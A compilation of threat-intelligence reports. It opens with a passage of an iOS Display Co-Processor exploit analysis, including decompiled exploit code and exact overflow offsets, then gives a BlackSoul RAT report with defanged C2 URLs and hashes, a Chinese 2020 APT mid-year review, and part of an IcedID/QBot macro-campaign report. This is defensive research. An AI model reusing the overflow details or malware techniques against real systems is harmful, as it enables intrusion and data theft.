registered dynamically by a method I've named `add_handler_for_block_type`: ```cpp add_handler_for_block_type(struct block_handler_holder *handler_list, struct BlockHandler *handler) { // Implementation } ``` The logging code tells us that this is in a file called `IOMFBBlockManager.cpp`. IDA finds 44 cross-references to this method, indicating that there are probably that many different block handlers. The structure of each registered block handler is something like this: ```cpp struct __cppobj BlockHandler : RTKIT_RC_RTTI_BASE { uint64_t field_16; struct handler_inner_types_entry *inner_types_array; uint32_t n_inner_types_array_entries; uint32_t field_36; uint8_t can_run_without_commandgate; uint32_t block_type; uint64_t list_link; uint64_t list_other_link; uint32_t some_other_type_field; uint32_t some_other_type_field2; uint32_t expected_structure_io_size; uint32_t field_76; uint64_t getBlock_Impl; uint64_t setBlock_Impl; uint64_t field_96; uint64_t back_ptr_to_UPPipeDCP_H13P; }; ``` The RTTI type is BLHA (BLock HAndler). For example, here's the code path which builds and registers block handler type 24: ```cpp BLHA_24 = (struct BlockHandler *)CXXnew(112LL); BLHA_24->__vftable = (BlockHandler_vtbl *)BLHA_super_vtable; BLHA_24->block_type = 24; BLHA_24->refcnt = 1; BLHA_24->can_run_without_commandgate = 0; BLHA_24->some_other_type_field = 0LL; BLHA_24->expected_structure_io_size = 0xD20; typeid = typeid_BLHA(); BLHA_24->typeid = typeid; modify_typeid_ref(typeid, 1); BLHA_24->__vftable = vtable_BLHA_subclass_type_24; BLHA_24->inner_types_array = 0LL; BLHA_24->n_inner_types_array_entries = 0; BLHA_24->getBlock_Impl = BLHA_24_getBlock_Impl; BLHA_24->setBlock_Impl = BLHA_24_setBlock_Impl; BLHA_24->field_96 = 0LL; BLHA_24->back_ptr_to_UPPipeDCP_H13P = a1; add_handler_for_block_type(list_holder, BLHA_24); ``` Each block handler optionally has `getBlock_Impl` and `setBlock_Impl` function pointers which appear to implement the actual setting and getting operations. We can go through all the call sites which add block handlers, tell IDA the type of the arguments, and name all the `getBlock` and `setBlock` implementations. You can perhaps see where this is going: that's looking like really quite a lot of reachable attack surface! Each of those `setBlock_Impl` functions is reachable by passing a different value for the first scalar argument to `IOConnectCallMethod 78`. There's a little bit more reversing though to figure out how exactly to get controlled bytes to those `setBlock_Impl` functions. ## Memory Mapping The raw "block" input to each of those `setBlock_Impl` methods isn't passed inline in the `IOConnectCallMethod` structure input. There's another level of indirection: each individual block handler structure has an array of supported "subtypes" which contains metadata detailing where to find the (userspace) pointer to that subtype's input data in the `IOConnectCallMethod` structure input. The first dword in the structure input is the id of this subtype - in this case for the block handler type 19, the metadata array has a single entry: ``` <2, 0, 0x5F8, 0x600> ``` The first value (2) is the subtype id and 0x5f8 and 0x600 tell the DCP from what offset in the structure input data to read a pointer and size from. The DCP then requests a memory mapping from the AP for that memory from the calling task: ```cpp return wrap_MemoryDescriptor::withAddressRange( *(void*)(structure_input_buffer + addr_offset), *(unsigned int *)(structure_input_buffer + size_offset), caller_task_ptr); ``` We saw earlier that the AP sends the DCP the `struct task` pointer of the calling task; when the DCP requests a memory mapping from a user task, it sends those raw task struct pointers back to the AP such that the kernel can perform the mapping from the correct task. The memory mapping is abstracted as an MDES object on the DCP side; the implementation of the mapping involves the DCP making an RPC to the AP: ```cpp make_link_call('D453', &req, 0x20, &resp, 0x14); ``` which corresponds to a call to this method on the AP side: ```cpp IOMFB::MemDescRelay::withAddressRange(unsigned long long, unsigned long long, unsigned int, task *, unsigned long*, unsigned long long*); ``` The DCP calls `::prepare` and `::map` on the returned MDES object (exactly like an `IOMemoryDescriptor` object in IOKit), gets the mapped pointer and size to pass via a few final levels of indirection to the block handler: ```cpp a_descriptor_with_controlled_stuff->dispatcher_fptr( a_descriptor_with_controlled_stuff, block_type_handler, important_ptr, important_size); ``` where the `dispatcher_fptr` looks like this: ```cpp a_dispatcher( struct metadispatcher *disp, struct BlockHandler *block_handler, __int64 controlled_ptr, unsigned int controlled_size) { return block_handler->BlockHandler_setBlock( block_handler, disp->structure_input_buffer, disp->structure_input_size, disp->remaining_scalar_inputs, disp->cnt_remaining_scalar_input, disp->handlers_holder->gate, controlled_ptr, controlled_size); } ``` You can see here just how useful it is to keep making structure definitions while reversing; there are so many levels of indirection that it's pretty much impossible to keep it all in your head. `BlockHandler_setBlock` is a virtual method on `BLHA`. This is the implementation for block handler 19: ```cpp BlockHandler19::setBlock( struct BlockHandler *this, void *structure_input_buffer, int64 structure_input_size, int64 *remaining_scalar_inputs, unsigned int cnt_remaining_scalar_inputs, struct CommandGate *gate, void* mapped_mdesc_ptr, unsigned int mapped_mdesc_length) { // Implementation } ``` This uses a Command Gate (GATI) object (like a call gate in IOKit to serialize calls) to finally get close to actually calling the `setBlock_Impl` function. We need to reverse the `gate_context` structure to follow the controlled data through the gate: ```cpp struct __attribute__((aligned(8))) gate_context { struct BlockHandler *the_target_this; uint64_t structure_input_buffer; void *remaining_scalar_inputs; uint32_t cnt_remaining_scalar_inputs; uint32_t field_28; uint64_t controlled_ptr; uint32_t controlled_length; }; ``` The call gate object uses that context object to finally call the `BLHA` `setBlock` handler: ```cpp callback_used_by_callgate_in_block_19_setBlock( struct UnifiedPipeline *parent_pipeline, struct gate_context *context, int64 a3, int64 a4, int64 a5) { return context->the_target_this->setBlock_Impl( context->the_target_this->back_ptr_to_UPPipeDCP_H13P, context->structure_input_buffer, context->remaining_scalar_inputs, context->cnt_remaining_scalar_inputs, context->controlled_ptr, context->controlled_length); } ``` ## SetBlock_Impl And finally, we've made it through the whole call stack following the controlled data from `IOConnectCallMethod` in userspace on the AP to the `setBlock_Impl` methods on the DCP! The prototype of the `setBlock_Impl` methods looks like this: ```cpp setBlock_Impl(struct UPPipeDCP_H13P *pipe_parent, void *structure_input_buffer, int *remaining_scalar_inputs, int cnt_remaining_scalar_inputs, void* ptr_via_memdesc, unsigned int len_of_memdesc_mapped_buf) { // Implementation } ``` The exploit calls two `setBlock_Impl` methods; 7 and 19. 7 is fairly simple and seems to just be used to put controlled data in a known location. 19 is the buggy one. From the log strings, we can tell that block type 19 handler is implemented in a file called `UniformityCompensator.cpp`. Uniformity Compensation is a way to correct for inconsistencies in brightness and color reproduction across a display panel. The `setBlock_Impl` method calls `UniformityCompensator::set` and reaches the following code snippet where `controlled_size` is a fully-controlled `u32` value read from the structure input and `indirect_buffer_ptr` points to the mapped buffer, the contents of which are also controlled: ```cpp uint8_t* pages = compensator->inline_buffer; // +0x24 for (int pg_cnt = 0; pg_cnt < 3; pg_cnt++) { uint8_t *this_page = pages; for (int i = 0; i < controlled_size; i++) { memcpy(this_page, indirect_buffer_ptr, 4 * controlled_size); indirect_buffer_ptr += 4 * controlled_size; this_page += 0x100; } pages += 0x4000; } ``` There's a distinct lack of bounds checking on `controlled_size`. Based on the structure of the code, it looks like it should be restricted to be less than or equal to 64 (as that would result in the input being completely copied to the output buffer). The `compensator->inline_buffer` buffer is inline in the compensator object. The structure of the code makes it look that that buffer is probably 0xc000 (three 16k pages) large. To verify this, we need to find the allocation site of this compensator object. It's read from the `pipe_parent` object and we know that at this point `pipe_parent` is a `UPPipeDCP_H13P` object. There's only one write to that field, here in `UPPipeDCP_H13P::setup_tunables_base_target`: ```cpp compensator = CXXnew(0xC608LL); ... this->compensator = compensator; ``` The compensator object is a 0xc608 byte allocation; the 0xc000 sized buffer starts at offset 0x24 so the allocation has enough space for 0xc608-0x24=0xC5E4 bytes before corrupting neighboring objects. The structure input provided by the exploit for the block handler 19 `setBlock` call looks like this: ```cpp struct_input_for_block_handler_19[0x5F4] = 70; // controlled_size struct_input_for_block_handler_19[0x5F8] = address; struct_input_for_block_handler_19[0x600] = a_size; ``` This leads to a value of 70 (0x46) for `controlled_size` in the `UniformityCompensator::set` snippet shown earlier. (0x5f8 and 0x600 correspond to the offsets we saw earlier in the subtype's table: `<2, 0, 0x5F8, 0x600>`) The inner loop increments the destination pointer by 0x100 each iteration so 0x46 loop iterations will write 0x4618 bytes. The outer loop writes to three subsequent 0x4000 byte blocks so the third (final) iteration starts writing at 0x24 + 0x8000 and writes a total of 0x4618 bytes, meaning the object would need to be 0xC63C bytes; but we can see that it's only 0xc608, meaning that it will overflow the allocation size by 0x34 bytes. The RTKit malloc implementation looks like it adds 8 bytes of metadata to each allocation so the next object starts at 0xc610. How much input is consumed? The input is fully consumed with no "rewinding" so it's 3*0x46*0x46*4 = 0xe5b0 bytes. Working backwards from the end of that buffer, we know that the final 0x34 bytes of it go off the end of the 0xc608 allocation which means +0xe57c in the input buffer will be the first byte which corrupts the 8 metadata bytes and +0x8584 will be the first byte to corrupt the next object. This matches up exactly with the overflow object which the exploit builds: ```cpp v24 = address + 0xE584; v25 = *(_DWORD *)&v54[48]; v26 = *(_OWORD *)&v54[32]; v27 = *(_OWORD *)&v54[16]; *(_OWORD *)(address + 0xE584) = *(_OWORD *)v54; *(_OWORD *)(v24 + 16) = v27; *(_OWORD *)(v24 + 32) = v26; *(_DWORD *)(v24 + 48) = v25; ``` The destination object seems to be allocated very early and the DCP RTKit environment appears to be very deterministic with no ASLR. Almost certainly they are attempting to corrupt a neighboring C++ object with a fake vtable pointer. Unfortunately for our analysis, the trail goes cold here and we can't fully recreate the rest of the exploit. The bytes for the fake DCP C++ object are read from a file in the app's temporary directory (base64 encoded inside a JSON file under the `exploit_struct_offsets` key) and I don't have a copy of that file. But based on the flow of the rest of the exploit, it's pretty clear what happens next: ## sudo make me a DART mapping The DCP, like other coprocessors on iPhone, sits behind a DART (Device Address Resolution Table). This is like an SMMU (IOMMU in the x86 world) which forces an extra layer of physical address lookup between the DCP and physical memory. DART was covered in great detail in Gal Beniamini's "Over The Air - Vol. 2, Pt. 3" blog post. The DCP clearly needs to access lots of buffers owned by userspace tasks as well as memory managed by the kernel. To do this, the DCP makes RPC calls back to the AP which modifies the DART entries accordingly. This appears to be exactly what the DCP exploit does: the D45X family of DCP->AP RPC methods appear to expose an interface for requesting arbitrary physical as well as virtual addresses to be mapped into the DCP DART. The fake C++ object is most likely a stub which makes such calls on behalf of the exploit, allowing the exploit to read and write kernel memory. ## Conclusions Segmentation and isolation are in general a positive thing when it comes to security. However, splitting up an existing system into separate, intercommunicating parts can end up exposing unexpected code in unexpected ways. We've had discussions within Project Zero about whether this DCP vulnerability is interesting at all. After all, if the `UniformityCompensator` code was going to be running on the Application Processors anyway, then the Display Co-Processor didn't really introduce or cause this bug. Whilst that's true, it's also the case that the DCP certainly made exploitation of this bug significantly easier and more reliable than it would have been on the AP. Apple has invested heavily in memory corruption mitigations over the last few years, so moving an attack surface from a "mitigation heavy" environment to a "mitigation light" one is a regression in that sense. Another perspective is that the DCP just isn't isolated enough; perhaps the intention was to try to isolate the code on the DCP such that even if it's compromised, it's limited in the effect it could have on the entire system. For example, there might be models where the DCP to AP RPC interface is much more restricted. But again there's a tradeoff: the more restrictive the RPC API, the more the DCP code has to be refactored - a significant investment. Currently, the codebase relies on being able to map arbitrary memory and the API involves passing userspace pointers back and forth. I've discussed in recent posts how attackers tend to be ahead of the curve. As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too. We saw that in the logic-bug sandbox escape used by NSO and we see that here in this memory-corruption-based privilege escalation that side-stepped kernel mitigations by corrupting memory on a co-processor instead. Both are quite likely to continue working in some form in a post-memory tagging world. Both reveal the stunning depth of attack surface available to the motivated attacker. And both show that defensive security research still has a lot of work to do.
# ReconHellcat Uses NIST Theme as Lure To Deliver New BlackSoul Malware **January 5, 2021** ## Introduction On 27 November, QuoIntelligence detected a new malware, seemingly uploaded to VirusTotal by a user in Turkmenistan, which shares multiple similarities to the threat actor we previously dubbed ReconHellcat. The campaign ultimately delivers a previously undocumented remote access Trojan (RAT), which we dubbed BlackSoul. After promptly alerting our customers, we notified Cloudflare about the C2 infrastructure hosted on their Workers service as per our responsible disclosure process. Further analysis revealed the malware being part of a targeted campaign, likely originating with a spear phishing email delivering a CAB archive. Both the CAB and the file contained within are named `1-10-20-hb44_final` to impersonate one of the documents available on the National Institute of Standards and Technology (NIST) website. ## Technical Analysis ### Loader.ReconHellcat - **File Name:** `1-10-20-hb44_final.exe` - **SHA256:** `3be1dd49f01e8b7ddf9af765693690d44356399b9e6043e51d5e13c82194b2a4` - **First Submission to VT:** 2020-11-27 10:41:21 - **First AV detection rate:** Low (10/71) During our analysis, we determined `1-10-20-hb44_final.exe` is a malicious loader, which uses obfuscation similar to the variant observed in the previously reported ReconHellcat campaign delivering BlackWater malware. Another similarity is that the loader utilizes C2 infrastructure hosted on the Cloudflare Workers service. Following a successful C2 connection, the loader retrieves two files: (1) an executable named `blacksoul`, and (2) a Dynamic-Link Library (DLL) named `blacksoulLib`. Additionally, the loader opens Microsoft Word with the aforementioned legitimate document from the NIST website. Essentially, ReconHellcat uses this legitimate document as a decoy. The `blacksoul` and `blacksoulLib` files have compilation timestamps from 27 and 26 November, respectively. ### BlackSoul - **File Name:** `Bl4ck_S0ul6s5_1d7704b469.blacksoul` - **SHA256:** `c49cad471a61adb5ea8a6d260887d1dd7f22de75d1143ce2a72828842ef4bb52` - **First Submission to VT:** 2020-11-29 18:23:26 - **First AV detection rate:** Low (18/71) The second stage executable is a newly observed malware family, which we linked to the ReconHellcat threat actor. We named the malware “BlackSoul” to match its internal name, main class name, and file name. The malware is a classical minimal RAT, which is capable of file transfers and running arbitrary commands. Through static analysis, we determined that the executable’s main loop supports handling the following commands from its C2 server: | Command Field | Actions Taken | |---------------|---------------| | params | Executes a command and return the result. | | url and path or media and alternativeText | Downloads file(s) from a URL and stores them in a destination on the machine. Creates a destination folder if it does not already exist. | | paths | Likely retrieves a specified file from the machine and uploads it to the C2. | | config | Updates the configuration file (UsrClass.json) which contains C2 server info and miscellaneous fields. | BlackSoul makes use of two files: - **UsrClass.json:** Contains a JSON configuration. It is unclear if this file is mandatory or merely used to save existing configurations between invocations of BlackSoul. - **UsrClass.data:** Observed as a DLL with an Init() export, which we refer to as `blacksoulLib`. BlackSoul uses information gathered by `blacksoulLib` to call back to the C2 over the RESTful Strapi protocol and JSON based data encoding. The RAT’s string obfuscation applies only to strings in the main program but excludes strings of third-party compiled in libraries. BlackSoul additionally uses various other techniques for obfuscation. In particular, strings are constructed dynamically on the stack and deobfuscated with a variety of mechanisms, such as a fixed key XOR cipher and a Caesar cipher using variable shift values. ### blacksoulLib - **File Name:** `Bl4ck_S0ul6s5_faac59ebe2.blacksoulLib` - **SHA256:** `fdd310ce1b4f03a79f7a6eda8df793f4c0718766228a9a0700cf0b5a4ea648e2` - **First Submission to VT:** 2020-11-26 23:45:57 - **First AV detection rate:** Low (18/71) The file is a DLL with a single export, Init(), which is called by BlackSoul. In this instance, its primary functions are: - Searching the victim’s machine for Firefox, Chrome, and Opera data. If the browser data is not found, the program terminates early. - Decoding a C2 URL later used by BlackSoul. - Decoding a Cloudflare DNS-over-HTTPS (DoH) URL. - Generating further login information for the C2 and returning gathered data to BlackSoul in JSON format, including: - A username with three random appended characters. - A password consisting of 24 random characters. Based on our observations, the DLL’s specific functionality adapts to various victims’ environments, and the DLL outputs different C2 information for various targets. ## Victimology QuoIntelligence was unfortunately unable to uncover the entities targeted by this campaign. The only information at hand relies on: - The VirusTotal submitter’s country (Turkmenistan) - The theme used as a lure (NIST) Due to the limited information available to determine victimology, we cannot definitively state a target. However, it is likely that the BlackSoul campaign targeted a government-related body based on the theme lure, since NIST develops and publicizes security compliance standards for the US Federal Government and any organization that handles government data. Previously observed ReconHellcat campaign targets consisted primarily of defense and diplomatic government bodies. ## Attribution When we initially discovered ReconHellcat, its campaign characteristics and Tactics, Techniques, and Procedures (TTPs) were unique enough to classify it as a new threat actor. During our analysis of the new BlackSoul campaign, we identified limited yet sufficient similarities overlapping with the earlier observed BlackWater campaign. As a result, we have high confidence attributing this attack to ReconHellcat. ### Similarities to earlier ReconHellcat campaigns: - Lure themes of government-related organization materials. - Usage of compressed archives, likely via spear phishing email links or attachments, to distribute the initial attack artifacts. - A three-stage attack scheme. ### Similarities between ReconHellcat‘s BlackSoul and BlackWater malware: - Supports DNS-over-HTTPS (DoH) using cloudflare-dns.com. - Has clear internal naming likely due to a lack of artifact cleanup in the malware build process. - Resolves the C2 hostnames via DNS over HTTPS (DoH) using a built-in feature of libcurl, a client-side URL transfer library. - Contains paths and parameters to use Strapi – a content management system (CMS). - Identical string obfuscation. - Uses Cloudflare Workers Service (*.workers[.]dev) to host C2 infrastructure. - JSON–encoded communications. - Similar kind of randomized login (user registration) scheme with the C2 server. - Malware samples contain a ‘Black’ prefix in their naming schemes. To note, although we have not found a strong correlation or technical link between ReconHellcat and APT28, there are shared characteristics between the two groups, which we highlighted in our recent APT28 reporting. ## Appendix I – IOCs - `hxxps://noisy-haze-af47.fromhell.workers.dev/uploads/Bl4ck_S0ul6s5_1d7704b469.blacksoul` - `hxxps://noisy-haze-af47.fromhell.workers.dev/uploads/Bl4ck_S0ul6s5_faac59ebe2.blacksoulLib` - `hxxps://shrill-wave-90be.0black.workers.dev/` ### Loader.ReconHellcat `3be1dd49f01e8b7ddf9af765693690d44356399b9e6043e51d5e13c82194b2a4` ### BlackSoul `c49cad471a61adb5ea8a6d260887d1dd7f22de75d1143ce2a72828842ef4bb52` ### blacksoulLib `fdd310ce1b4f03a79f7a6eda8df793f4c0718766228a9a0700cf0b5a4ea648e2` ## MITRE ATT&CK | TACTIC | TECHNIQUE | |----------------------|---------------------------------------------| | Initial Access | T1566: Phishing | | Execution | T1204: User Execution | | Defense Evasion | T1027: Obfuscated Files or Information | | Credential Access | T1555: Credentials from Password Stores | | Discovery | T1082: System Information Discovery | | Collection | T1005: Data from Local System | | Command and Control | T1132: Data Encoding | | | T1105: Ingress Tool Transfer | | | T1572: Protocol Tunneling | | Exfiltration | T1041: Exfiltration Over C2 Channel | | | T1020: Automated Exfiltration | Do you want to stay informed of cyber and geopolitical threats targeting your organization? Are you interested in receiving exclusive and unpublished intelligence? Get in touch! Join Our Newsletter! Subscribe to our newsletter to receive Weekly Intelligence Summaries, cyber news, and exciting updates! Only valid business emails will be approved.
# 全球高级持续性威胁(APT)2020年中报告 ## 前言 奇安信威胁情报中心多年来持续跟踪分析全球高级持续性威胁(APT)活动趋势,总结高级持续性威胁背后的攻击组织在过去一段时间中的攻击活动和战术技术特点。 如今,2020年即将过去不平静的半年,而在全球网络安全领域也充满了变化和挑战。1月底,奇安信威胁情报中心监测到国外多个APT组织利用新冠疫情相关热点事件为诱饵对中国境内目标和机构实施APT攻击活动。随后利用新冠疫情实施的APT攻击活动被频频曝光。同时,由于企业远程办公和利用VPN远程接入企业网络的情况越来越普遍,多例围绕VPN应用的APT攻击活动也被发现。 本报告总结了2020年上半年全球范围内的主要APT活动情况,包括新的APT组织和地缘APT组织的活动变化趋势,以及上半年全球APT事件所呈现的趋势。 ## 第一部分 上半年全球APT威胁态势 ### 新冠疫情下的APT威胁活动 2020年1月下旬开始,新冠肺炎疫情爆发。在此疫情形势下,APT活动的活跃程度似乎并未受到影响,反而借用疫情热点事件内容为诱饵的攻击活动变得越发频繁。 根据奇安信红雨滴团队基于疫情相关网络攻击活动的监控来看,网络空间的攻击随着新冠病毒的扩散而变化。前期,从2020年1月下旬至3月初,相关网络攻击集中于针对汉语使用者,并多借以疫情相关中文热点诱饵信息进行攻击。相关诱饵包含的信息例如:“武汉旅行”“申请登记”“信息收集”“卫生部”等等。 中后期,从2月中旬开始,以疫情信息为诱饵针对全球范围的网络攻击开始激增。诱饵信息开始转变为多种语言,以“Covid19”“Covid”“CORONA VIRUS”“Coronavirus”“COVID-19”等诱饵信息为主。 奇安信威胁情报中心持续跟踪着疫情相关攻击活动,2020年3月下旬,我们曾发布《COVID-19 | 新冠病毒笼罩下的全球疫情相关网络攻击分析报告》,披露了2020年第一季度疫情相关攻击活动,之后,在红雨滴团队的持续监测过程中,我们又捕获了Lazarus、响尾蛇等组织利用疫情相关信息的攻击活动。例如Lazarus组织利用疫情相关信息分发HWP恶意文档针对韩国的攻击活动。 我们整理了利用新冠疫情为诱饵内容的APT组织和活动信息,包括东亚的Lazarus Group、Kimsuky、KONNI、毒云藤,东南亚的海莲花,南亚的摩诃草、蔓灵花、SideWinder、Transparent Tribe,东欧的Gamaredon Group,中东的Charming Kitten。 这些APT团伙主要攻击包括政府、军事、医疗等行业目标及相关人员,并且境外APT组织也积极利用疫情为诱饵针对我国目标实施APT攻击活动。除了上述APT组织以外,网络犯罪团伙或威胁活动也利用疫情事件传播自身的恶意程序,其中包括Gorgon、TA505以及Packrat等。 ### 在野漏洞利用攻击的加剧 在2020年第一季度就被曝光和披露了多起在野漏洞利用的APT攻击活动: - DarkHotel使用两个针对浏览器的0Day漏洞(CVE-2019-17026、CVE-2020-0674)针对中国发起APT攻击; - 国外安全厂商披露Microsoft Exchange Control Panel (ECP)漏洞CVE-2020-0688被在野利用; - 火狐浏览器披露两个竞争条件导致的UAF漏洞CVE-2020-6819和CVE-2020-6820被在野利用; - Chrome浏览器漏洞CVE-2020-6418被在野利用; - 某反病毒产品存在两个0day漏洞CVE-2020-8467和CVE-2020-8468被在野利用。 其中奇安信威胁情报中心捕获了DarkHotel利用CVE-2019-1367微软IE浏览器远程代码执行漏洞针对我国的定向攻击,由于相应利用代码在2019年7月19日就被上传至受攻击服务器,而该漏洞微软在2019年9月份才修补,因此在攻击发生的当时漏洞还处于0day漏洞状态。 经过奇安信红雨滴团队对监控到的受害网络资产、攻击行为、恶意代码的详细分析和推理后认为:DarkHotel APT组织本次针对多个国内重要机构的内部系统管理页面植入IE 0day漏洞以执行水坑攻击,进而控制系统管理员的计算机以实施更广泛的入侵及横向移动。 除了上述已经定性的APT攻击活动,还有一系列移动端已知漏洞也被各类国家级APT团伙用于定向攻击: - 南亚次大陆地区的响尾蛇组织被发现利用CVE-2019-2215漏洞针对安卓终端目标用户实施移动端的APT攻击; - iOS邮件客户端爆出远程代码执行漏洞,已经被在野利用长达两年,漏洞不需要用户任何点击,只要给用户发送一封电子邮件,甚至邮件还在下载过程中,就能触发漏洞攻击,最后可达到获取iPhone数据的目的; - 安卓特性漏洞StrandHogg 2.0,与StrandHogg 1.0一样已经被攻击者在野利用。一旦在设备上安装利用了StrandHogg 2.0漏洞的APP,受害者打开APP并输入凭证后,攻击者即可通过该恶意APP访问目标手机的短信消息和照片,并通过摄像头和录音监听目标。 同时,在使用漏洞方面,不同国家级APT组织存在不同的利用漏洞的方式,而在2020年上半年,奇安信威胁情报中心独家披露了关于某国网络军火商,制作的一套IOT僵尸网络框架。 其主要相关模块如下: - 暴力破解模块 - 快速网络扫描模块 - 多平台载荷部署模块 当然,除了这些表面的简单漏洞攻击之外,一些关于物联网的0day漏洞武器模块都会留有接口提供安装部署。 ### 远程办公带来的新的APT威胁攻击面 新冠疫情在全球范围的蔓延,导致很多公司和机构采用了远程办公的方式,其通常依赖于VPN应用接入企业内部网络,这样也暴露了可用于攻击的重要攻击入口。从历史披露的APT活动来看,利用VPN或远程访问的脆弱性作为攻击入口一直较少被披露过。 上半年,有国外APT组织利用国内某知名安全公司VPN的漏洞实现载荷的下发。除此以外,国外安全厂商披露的Fox Kitten组织就利用了多个VPN漏洞访问目标内网,其中包括针对Pulse Secure(CVE-2019-11510)、Fortinet FortiOS(CVE-2018-13379)、Palo Alto Networks VPN(CVE-2018-1579)。 此外,在疫情期间,DarkHotel和Wellmess组织分别利用我国厂商的VPN漏洞进行攻击,前者在这次行动主要针对基层单位,后者则主要针对中国多家高级别科研机构。 ## 第二部分 地缘背景下的APT组织和活动 从上半年的全球APT组织和活动披露来看,APT威胁的整体活跃水平还是保持了一个比较高的频度,主要活跃的APT组织还是过去熟知的,中东地区依然是APT活动最为频繁和错综复杂的地域,活跃着数量众多的APT组织。 在上半年的公开APT类情报中,出现了4个新命名的APT组织和活动,并且主要活跃于中东地区。 1. **WildPressure** WildPressure是卡巴披露的一个恶意攻击活动,该活动最早于2019年8月被发现,其分发了一个成熟的C++木马,并且所有的木马文件的编译时间戳都是相同的,均为2019年3月。唯一实现的加密是针对不同受害者具有不同64字节密钥的RC4算法。该活动主要针对中东地区的工业相关实体。 2. **诺崇狮** 诺崇狮是由奇安信威胁情报中心新发现并命名的一个APT组织,该组织活跃在中东地区,其最早的样本文件可以追溯到2013年9月,在其历史活动中通常利用社交网络(如Twitter,Telegram,YouTube等)进行非定向的水坑传播式钓鱼攻击及定向目标的鱼叉攻击,并主要针对移动终端实施攻击。 3. **Fox Kitten** Fox Kitten是由国外安全厂商ClearSky发现并命名的中东地区APT组织。ClearSky在2019年第四季度发现其持续三年的攻击活动,该团伙可能和APT33和APT34相关,并且也确定了APT33和APT39之间的联系。相关活动是通过使用各种攻击性工具进行的,其中大多数是基于开放的源代码,而有些是自行开发的。 4. **Nazar** Nazar是国外安全研究人员在OPCDE会议上公开披露和命名的APT活动,其是对ShadowBrokers泄露资料中,TeDi签名为SIG37的APT组织的归属。TeDi签名是某西方大国情报机构对全球其他APT组织和活动的跟踪项目,并且以sigXX的形式代号进行命名。 在此报告中,我们依旧按APT组织主要活动的地域分布对其进行分析和跟踪,2020年上半年全球主要活跃的APT组织和活动地域分布如下图所示。 ## 总结 从2020年上半年来看,尽管新冠疫情在全球呈现爆发趋势,但是APT组织的攻击活动并没有停止。从公开披露的信息来看,APT攻击的入口不再只重点围绕鱼叉邮件攻击和定向的凭据钓鱼,利用0day或者Nday漏洞实施攻击显得更加高效,包括利用一些远程服务、VPN,或者针对目标网络基础设施的漏洞,包括Microsoft Exchange、Citrix相关产品等。 结合疫情下的远程办公的趋势,这种改变,可能会给APT组织未来采用的攻击入口和战术方式带来一些变化。从防护角度上来看,防御APT攻击不仅需要做好人员安全意识教育,邮件和终端安全检测等防御手段外,还需要考虑到远程接入和关键网络基础设施的安全防护和监测能力。 2020年下半年,针对我国的APT攻击频次也许会减少,但是精度会提升一个量级,这从各国国家级APT组织网络武器能力的提升,以及0day武器的运用情况可见一斑。因此针对APT攻击的防御更需要我们开展全面的体系化网络安全建设,一起构筑对抗高级持续性威胁的网络安全防线。
# Malicious Spam Campaigns Delivering Banking Trojans **Authors** Anton Kuzmenko In mid-March 2021, we observed two new spam campaigns. The messages in both cases were written in English and contained ZIP attachments or links to ZIP files. Further research revealed that both campaigns ultimately aimed to distribute banking Trojans. The payload in most cases was IcedID (Trojan-Banker.Win32.IcedID), but we have also seen a few QBot (Backdoor.Win32.Qbot, also known as QakBot) samples. During campaign spikes, we observed increased activity of these Trojans: more than a hundred detections a day. IcedID is a banking Trojan capable of web injects, VM detection, and other malicious actions. It consists of two parts – the downloader and the main body that performs all the malicious activity. The main body is hidden in a PNG image, which is downloaded and decrypted by the downloader. QBot is also a banking Trojan. It’s a single executable with an embedded DLL (main body) capable of downloading and running additional modules that perform malicious activity: web injects, email collection, password grabbing, etc. Neither of these malware families are new – we’ve seen them being distributed before via spam campaigns and different downloaders, like the recently taken-down Emotet. However, in the recent campaign, we observed several changes to the IcedID Trojan. ## Technical Details ### Initial Infection **DotDat** The first campaign we called ‘DotDat’. It distributed ZIP attachments that claimed to be some sort of cancelled operation or compensation claims with the names in the following format [document type (optional)]-[some digits]-[date in MMDDYYYY format]. We assume the dates correspond with the campaign spikes. The ZIP archives contained a malicious MS Excel file with the same name. The Excel file downloads a malicious payload via a macro from a URL with the following format [host]/[digits].[digits].dat and executes it. The URL is generated during execution using the Excel function NOW(). The payload is either the IcedID downloader (Trojan.Win32.Ligooc) or QBot packed with a polymorph packer. **Excel Macro Details** The Excel file contains obfuscated Excel 4.0 macro formulas to download and execute the payload (IcedID or QBot). The macro generates a payload URL and calls the WinAPI function URLDownloadToFile to download the payload. **Macro Downloads IcedID Downloader** After a successful download, the payload is launched using the EXEC function and Windows Rundll32 executable. **Summer.gif** The spam emails of the second campaign contained links to hacked websites with malicious archives named “documents.zip”, “document-XX.zip”, “doc-XX.zip” where XX stands for two random digits. Like in the first campaign, the archives contained an Excel file with a macro that downloaded the IcedID downloader. According to our data, this spam campaign peaked on 17/03/2021. By April, the malicious activity had faded away. **Excel Macro Details** Like in the other case, Excel 4.0 macro formulas and the URLDownloadToFile function are used in this campaign. The main difference in the download component is that the URL is stored in a cell inside the malicious file. ### Payload Download Though the URL seems to refer to a file named “summer.gif”, the payload is an executable, not a GIF image. To execute the payload, the macro uses WMI and regsvr32 tools. **IcedID** As we mentioned above, IcedID consists of two parts – downloader and main body. The downloader sends some user information (username, MAC address, Windows version, etc.) to the C&C and receives the main body. In the past, the main body was distributed as shellcode hidden in a PNG image. The downloader gets the image, decrypts the main body in memory, and executes it. The main body maps itself into memory and starts to perform its malicious actions such as web injects, data exfiltration to the C&C, download and execution of additional payloads, exfiltration of system information, and more. **IcedID New Downloader** Besides the increase in infection attempts, the IcedID authors also changed the downloader a bit. In previous versions, it was compiled as an x86 executable and the malware configuration after decryption contained fake C&C addresses. We assume this was done to complicate analysis of the samples. In the new version, the threat actors moved from x86 to an x86-64 version and removed the fake C&Cs from the configuration. **Configuration of the Old Version of IcedID Downloader** We also observed a minor change in the malware’s main body. While it’s still distributed as a PNG image, and the decryption and C&C communication methods remain the same, the authors decided not to use shellcode. Instead, IcedID’s main body is distributed as a standard PE file with some loader-related data in the beginning. ### Geography of IcedID Attacks In March 2021, the greatest number of users attacked by Ligooc (IcedID downloader) were observed in China (15.88%), India (11.59%), Italy (10.73%), the United States (10.73%), and Germany (8.58%). **QBot** Unlike IcedID, QBot is a single executable with an embedded DLL (main body) stored in the resource PE section. In order to perform traffic interception, steal passwords, perform web injects, and take remote control of the infected system, it downloads additional modules: web inject module, hVNC (remote control module), email collector, password grabber, and others. All the details on QBot, as well as IoCs, MITRE ATT&CK framework data, YARA rules, and hashes relating to this threat are available to users of our Financial Threat Intelligence services. ### Geography of QBot Attacks In March 2021, QBot was also most active in China (10.78%), India (10.78%), and the United States (4.66%), but we also observed it in Russia 